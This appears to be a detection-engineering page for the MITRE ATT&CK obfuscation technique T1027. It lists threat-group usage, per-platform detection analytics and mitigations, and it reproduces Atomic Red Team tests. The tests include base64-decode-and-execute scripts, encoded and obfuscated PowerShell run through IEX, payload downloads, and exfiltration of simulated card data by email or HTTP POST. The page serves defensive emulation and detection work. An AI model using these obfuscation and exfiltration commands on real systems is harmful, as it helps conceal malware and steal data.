Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
18 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has used malware with string encryption.1 RedCurl has also encrypted data and has encoded PowerShell commands using Base64.23 RedCurl has used PyArmor to obfuscate code execution of LaZagne. 2 Additionally, RedCurl has obfuscated downloaded files by renaming them as commonly used tools and has used echo, instead of file names themselves, to execute files.4
Delivers encrypted payloads in pieces that are then combined together to form a new portable executable (PE) file during installation.1
Used Base64 to encode strings.1
Has obfuscated tools and malware it uses with VMProtect.1
Has delivered initial payloads hidden using archives and encoding measures.123456789 101112 Mustang Panda has also utilized opaque predicates in payloads to hinder analysis.13
Has used string encoding with floating point calculations.1
All 18 groups for this technique · 6 newest in this preview
4 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
During the 3CX Supply Chain Attack, AppleJeus payloads use AES-256 GCM cipher to encrypt data to include ICONICSTEALER and VEILEDSIGNAL.12
During C0015, the threat actors used Base64-encoded strings.1
During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.1
During the 2016 Ukraine Electric Power Attack, Sandworm Team used heavily obfuscated code with Industroyer in its Windows Notepad backdoor.1
All 4 campaigns for this technique
138 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has an obfuscated function (i.e. love_me__()) that dynamically reconstructs the string WScript.Shell using hard-coded ASCII values and the Chr() function.1
Has stored its embedded payload in encrypted form within the binary, using a hardcoded key modified at runtime to produce the AES decryption key.1
Code implements anti-analysis techniques including control flow flattening and Mixed Boolean Arithmetic (MBA).1
Can use control flow flattening to help hide malicious code.12
Has used control flow flattening to obfuscate code.1
Has utilized Go libraries to include Garble to obfuscate code.12
All 138 software entries for this technique · 6 newest in this preview
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
AN1064 · Windows
Correlates script execution or suspicious parent processes with creation or modification of encoded, compressed, or encrypted file formats (e.g., .zip, .7z, .enc) and abnormal command-line syntax or PowerShell obfuscation.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| File CreationDC0039 | WinEventLog:Sysmon | EventCode=11 |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| PayloadEntropyThreshold | Tune entropy threshold to distinguish obfuscation from legitimate compression |
| TimeWindow | Adjust correlation window between script execution and encoded file creation |
| SuspiciousParentProcessList | Customize based on environment to include LOLBins or admin tools misused for obfuscation |
AN1065 · Linux
Detects use of gzip, base64, tar, or openssl in scripts or commands that encode/encrypt files after file staging or system enumeration.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:SYSCALL | execve |
| File ModificationDC0061 | auditd:SYSCALL | open, write |
| Command ExecutionDC0064 | linux:cli | Shell history logs |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CommandRegex | Customize for tools seen in environment (e.g., gzip, bzip2, xz) |
| SensitivePathList | Specify file paths likely targeted for obfuscation (e.g., /etc/, /home/) |
AN1066 · macOS
Monitors use of archive or encryption tools (zip, openssl) tied to user-scripted activity or binaries writing encoded payloads under /Users or /Volumes.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| File CreationDC0039 | macos:osquery | file_events |
| Command ExecutionDC0064 | macos:unifiedlog | log stream --predicate 'processImagePath contains "zip" OR "base64"' |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| FilenameExtensionList | Tunable to identify uncommon or encrypted file formats (e.g., .enc, .b64, .xz) |
| UserContext | Tune to prioritize unexpected file access by service accounts |
AN1067 · Network Devices
Identifies transfer of base64, uuencoded, or high-entropy files over HTTP, FTP, or custom protocols in lateral movement or exfiltration streams.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Network Traffic ContentDC0085 | networkdevice:IDS | content inspection / PCAP / HTTP body |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| EntropyThreshold | Adjust threshold to reduce false positives in compressed but benign data |
| ProtocolScope | Refine by enabling inspection of specific exfil vectors (e.g., FTP, HTTP POST) |
AN1068 · ESXi
Detects encoded PowerCLI or Base64-encoded payloads staged via datastore uploads or shell access (e.g., ESXi Shell or backdoored VIBs).
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| OS API ExecutionDC0021 | esxi:hostd | Remote access API calls and file uploads |
| File MetadataDC0059 | esxi:vmkernel | Datastore modification events |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| StagingLocation | Tune based on observed adversary paths (e.g., /vmfs/volumes/...) |
| EncodedLengthThreshold | Tune length of encoded payloads before triggering detection |
Anti-virus can be used to automatically detect and quarantine suspicious files. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10+ to analyze commands after being processed/interpreted.
Consider periodic review of common fileless storage locations (such as the Registry or WMI repository) to potentially identify abnormal and malicious data.
On Windows 10+, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated payloads.
Ensure that a finite amount of ingress points to a software deployment system exist with restricted access for those required to allow and enable newly deployed software.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Decode base64 Data into Script | macos, linux | sh | — | 1 | Yes | ||||||||||||||||||||||
Creates a base64-encoded data file and decodes it into an executable shell script
Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes Input arguments
Attack command if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi; cat /tmp/encoded.dat | $cmd > /tmp/art.sh chmod +x /tmp/art.sh /tmp/art.sh Cleanup command rm /tmp/encoded.dat rm /tmp/art.sh Prerequisite encode the command into base64 file Check if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi Satisfy if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi;
echo "#{shell_command}" | $cmd > /tmp/encoded.dat
GUID14f7feba-9cc3-4119-bc36-0156d7fd6d44 | ||||||||||||||||||||||||||||
| 02 | Execute base64-encoded PowerShell | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!" Input arguments
Attack command $OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
GUID22178cf4-5ec1-49d9-b48a-09d52cd34073 | ||||||||||||||||||||||||||||
| 03 | Execute base64-encoded PowerShell from Windows Registry | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||
Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. Upon successful execution, powershell will execute encoded command and read/write from the registry. Input arguments
Attack command $OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
Cleanup command Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}
GUID5a15a765-5735-4349-b982-610d55c54e3e | ||||||||||||||||||||||||||||
| 04 | Execution from Compressed File | windows | cmd | — | 1 | Yes | ||||||||||||||||||||||
Mimic execution of compressed executable. When successfully executed, calculator.exe will open. Input arguments
Attack command "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe" Cleanup command taskkill /f /im calculator.exe >nul 2>nul taskkill /f /im CalculatorApp.exe >nul 2>nul Prerequisite T1027.exe must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe") {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\" -Force
GUIDfab6bc2d-dc84-45a9-86d2-36adf6f9a4ff | ||||||||||||||||||||||||||||
| 05 | DLP Evasion via Sensitive Data in VBA Macro over email | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check. Input arguments
Attack command Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
GUID8dff0060-b3ac-45ba-9556-d54c62b7fd1f | ||||||||||||||||||||||||||||
| 06 | DLP Evasion via Sensitive Data in VBA Macro over HTTP | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check. Input arguments
Attack command Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
GUIDe63b3918-7f33-40e2-82e9-394d39a75af2 | ||||||||||||||||||||||||||||
| 07 | Obfuscated Command in PowerShell | windows | PowerShell | — | — | — | ||||||||||||||||||||||
This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary. Attack command $cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f'nv','cO','ert') ; &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') ( (&("{1}{2}{0}"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
GUIDe61038ec-69a3-41ba-88f2-bd2db88519b1 | ||||||||||||||||||||||||||||
| 08 | Obfuscated Command Line using special Unicode characters | windows | manual | — | — | — | ||||||||||||||||||||||
This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: https://wietze.github.io/blog/windows-command-line-obfuscation Input arguments
Attack command No command — this test is a manual procedure. GUIDa53f496f-94ca-4379-afe4-235ea72404e4 | ||||||||||||||||||||||||||||
| 09 | Snake Malware Encrypted crmlog file | windows | PowerShell | Required | — | Yes | ||||||||||||||||||||||
The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver. Snake Malware - CISA Attack command $file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)" Cleanup command $fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete" } else { Write-Host "File not found: $fullPathToDelete" }
GUID16b859ab-4f32-4453-9756-4c9d435084f4 | ||||||||||||||||||||||||||||
| 10 | Execution from Compressed JScript File | windows | cmd | — | 1 | Yes | ||||||||||||||||||||||
Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/ Input arguments
Attack command "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js" Cleanup command taskkill /f /im calculator.exe >nul 2>nul Prerequisite T1027.js must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\" -Force
GUIDe0449f33-b6fe-4770-a9ef-0992910d7c1d | ||||||||||||||||||||||||||||
| 11 | Obfuscated PowerShell Command via Character Array | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||
Spawns a child PowerShell process using character array obfuscation. Both the PowerShell binary name and executed command are constructed from ASCII values at runtime to evade string-based detection. Attack command $ps = [char[]](112,111,119,101,114,115,104,101,108,108) $cmd = [char[]](83,116,97,114,116,45,80,114,111,99,101,115,115,32,99,97,108,99,46,101,120,101) & (-join $ps) "-Command" (-join $cmd) Cleanup command taskkill /f /im calculator.exe >nul 2>nul taskkill /f /im CalculatorApp.exe >nul 2>nul GUID5d3ba21f-166a-4ead-acb8-419721d0e5b1 | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition
116 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.
Loading detections...
| Select | Title | Description | Category | Status | Event | Product | MITRE ATT&CK | CVEs | Severity | Author | Created | Updated | ID | Refs |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|